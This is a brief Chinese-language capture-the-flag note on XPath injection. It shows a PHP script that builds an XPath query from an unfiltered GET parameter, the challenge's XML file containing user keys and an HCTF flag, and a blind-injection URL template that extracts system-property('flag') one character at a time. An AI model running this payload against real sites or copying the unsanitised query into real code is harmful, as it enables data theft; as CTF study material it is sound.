和sql注入有点像,xml的语法
<?php if(file_exists('t3stt3st.xml')) { $xml = simplexml_load_file('t3stt3st.xml'); $user=$_GET['user']; $query="user/username[@name='".$user."']"; $ans = $xml->xpath($query); foreach($ans as $x => $x_value) { echo "2"; echo $x.": " . $x_value; echo "<br />"; } } ?>
|
<?xml version="1.0" encoding="utf-8"?> <root1> <user> <username name='user1'>user1</username> <key>KEY:1</key> <username name='user2'>user2</username> <key>KEY:2</key> <username name='user3'>user3</username> <key>KEY:3</key> <username name='user4'>user4</username> <key>KEY:4</key> <username name='user5'>user5</username> <key>KEY:5</key> <username name='user6'>user6</username> <key>KEY:6</key> <username name='user7'>user7</username> <key>KEY:7</key> <username name='user8'>user8</username> <key>KEY:8</key> <username name='user9'>user9</username> <key>KEY:9</key> </user> <hctfadmin> <username name='hctf1'>hctf</username> <key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key> </hctfadmin> </root1>
|
访问xml文档的所有节点
system-property可以查询系统属性的值
有时候会把flag放进去
结合盲注大概长这样
"http://3.39.79.180/blog/read?idx=1'+and+substring(system-property('flag'),"+str(len(flag)+1)+",1)='"+c+"'+and+'1'%3d'1"